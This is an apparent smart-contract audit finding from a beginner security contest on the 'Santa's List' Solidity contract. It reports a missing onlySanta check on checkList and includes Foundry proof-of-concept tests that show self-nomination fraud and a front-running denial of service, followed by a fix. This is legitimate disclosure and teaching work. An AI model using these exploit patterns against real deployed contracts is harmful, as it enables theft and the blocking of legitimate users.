Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

checkList` Missing `onlySanta` Access Control Allows Anyone to Write the Naughty/Nice List

Description

The NatSpec for checkList explicitly states "Only callable by santa". The implementation carries no such enforcement:

// SantasList.sol:122-125
function checkList(address person, Status status) external { // ← no onlySanta modifier
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

Compare to checkTwice, which correctly restricts its caller:

// SantasList.sol:134
function checkTwice(address person, Status status) external onlySanta { ... }

checkList unconditionally overwrites s_theListCheckedOnce[person] with whatever status the caller supplies. Because collectPresent requires both s_theListCheckedOnce and s_theListCheckedTwice to equal the same eligible status, control over the first-check mapping is half the eligibility decision. Anyone who can freely write s_theListCheckedOnce can manipulate that decision for any address.


Attack Scenarios

Scenario A — Self-nomination / eligibility fraud.

An attacker calls checkList(attacker, EXTRA_NICE) on themselves before Santa has reviewed them. Santa, upon seeing an address with a first-check status of EXTRA_NICE, calls checkTwice(attacker, EXTRA_NICE) — the validation passes because both values agree. The attacker collects an NFT and 1e18 SantaTokens, having never been legitimately reviewed.

Even if Santa is diligent, a front-running attacker can:

  1. Watch the mempool for Santa's pending checkList(attacker, NAUGHTY).

  2. Front-run with their own checkList(attacker, NICE).

  3. Santa's transaction lands second, resetting the status — but the attacker can keep front-running indefinitely.

Scenario B — Blocking a legitimate user.

An attacker calls checkList(victim, NAUGHTY) at any point after Santa has already set s_theListCheckedTwice[victim] = NICE. The two mappings are now mismatched. collectPresent reverts with NotNice for the victim, who loses their present with no on-chain recourse (see M-02 for why Santa cannot repair this via checkTwice alone).


Impact

  • The fundamental trust model of the protocol — Santa is the sole arbiter of who is naughty or nice — is broken. Any address can make the protocol believe anyone has any status.

  • Fraudulent self-nomination allows an attacker to become eligible for presents without Santa's review, contingent only on Santa being tricked into running checkTwice.

  • Any legitimately approved user can have their eligibility silently revoked by a third party at any time, with no repair mechanism that is resistant to front-running.


Proof of Concept

Added to test/unit/SantasListTest.t.sol:

Sub-impact A — Self-nomination:

function testAnyoneCanSelfNominateOnCheckList() public {
address attacker = makeAddr("attacker");
// Attacker writes their own first-check status with no Santa involvement
vm.prank(attacker);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
assertEq(
uint256(santasList.getNaughtyOrNiceOnce(attacker)),
uint256(SantasList.Status.EXTRA_NICE),
"Attacker self-nominated as EXTRA_NICE"
);
// Santa's checkTwice passes because the first-check already matches
vm.prank(santa);
santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.prank(attacker);
santasList.collectPresent();
assertEq(santasList.balanceOf(attacker), 1, "Attacker collected NFT without review");
assertEq(santaToken.balanceOf(attacker), 1e18, "Attacker collected SantaToken without review");
}

Sub-impact B — Blocking an approved user:

function testAnyoneCanOverwriteOthersCheckListStatus() public {
// Santa legitimately approves user
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
// Any third party overwrites the first-check status
address attacker = makeAddr("attacker");
vm.prank(attacker);
santasList.checkList(user, SantasList.Status.NAUGHTY);
// First-check: NAUGHTY — second-check: EXTRA_NICE — mismatch
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.prank(user);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
santasList.collectPresent(); // approved user permanently blocked
}

Result: Both tests confirm the access control is entirely absent. The first test demonstrates a full end-to-end eligibility fraud; the second demonstrates permanent blocking of a legitimate user.


Recommendation

Add the onlySanta modifier to checkList, matching both the NatSpec documentation and the pattern already used on checkTwice:

function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

This is a one-line fix. It ensures that only Santa can write the first-check status, restoring the intended trust model and eliminating both the self-nomination and the griefing vectors. The M-02 recommendation to also add onlySanta to checkList overlaps here — fixing H-03 simultaneously resolves the access-control precondition for M-02's Scenario B.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Anyone is able to call `checkList` function in SantasList contract and prevent any address from becoming `NICE` or `EXTRA_NICE` and collect present.

## Description With the current design of the protocol, anyone is able to call `checkList` function in SantasList contract, while documentation says only Santa should be able to call it. This can be considered as an access control vulnerability, because not only santa is allowed to make the first check. ## Vulnerability Details An attacker could simply call the external `checkList` function, passing as parameter the address of someone else and the enum Status `NAUGHTY`(or `NOT_CHECKED_TWICE`, which should actually be `UNKNOWN` given documentation). By doing that, Santa will not be able to execute `checkTwice` function correctly for `NICE` and `EXTRA_NICE` people. Indeed, if Santa first checked a user and assigned the status `NICE` or `EXTRA_NICE`, anyone is able to call `checkList` function again, and by doing so modify the status. This could result in Santa unable to execute the second check. Moreover, any malicious actor could check the mempool and front run Santa just before calling `checkTwice` function to check users. This would result in a major denial of service issue. ## Impact The impact of this vulnerability is HIGH as it results in a broken mechanism of the check list system. Any user could be declared `NAUGHTY` for the first check at any time, preventing present collecting by users although Santa considered the user as `NICE` or `EXTRA_NICE`. Santa could still call `checkList` function again to reassigned the status to `NICE` or `EXTRA_NICE` before calling `checkTwice` function, but any malicious actor could front run the call to `checkTwice` function. In this scenario, it would be impossible for Santa to actually double check a `NICE` or `EXTRA_NICE` user. ## Proof of Concept Just copy paste this test in SantasListTest contract : ``` function testDosAttack() external { vm.startPrank(makeAddr("attacker")); // any user can checList any address and assigned status to naughty // an attacker could front run Santa before the second check santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); vm.startPrank(santa); vm.expectRevert(); // Santa is unable to check twice the user santasList.checkTwice(makeAddr("user"), SantasList.Status.NICE); vm.stopPrank(); } ``` ## Recommendations I suggest to add the `onlySanta` modifier to `checkList` function. This will ensure the first check can only be done by Santa, and prevent DOS attack on the contract. With this modifier, specification will be respected : "In this contract Only Santa to take the following actions: - checkList: A function that changes an address to a new Status of NICE, EXTRA_NICE, NAUGHTY, or UNKNOWN on the original s_theListCheckedOnce list." The following code will resolve this access control issue, simply by adding `onlySanta` modifier: ``` function checkList(address person, Status status) external onlySanta { s_theListCheckedOnce[person] = status; emit CheckedOnce(person, status); } ``` No malicious actor is now able to front run Santa before `checkTwice` function call. The following tests shows that doing the first check for another user is impossible after adding `onlySanta` modifier: ``` function testDosResolved() external { vm.startPrank(makeAddr("attacker")); // checklist function call will revert if a user tries to execute the first check for another user vm.expectRevert(SantasList.SantasList__NotSanta.selector); santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!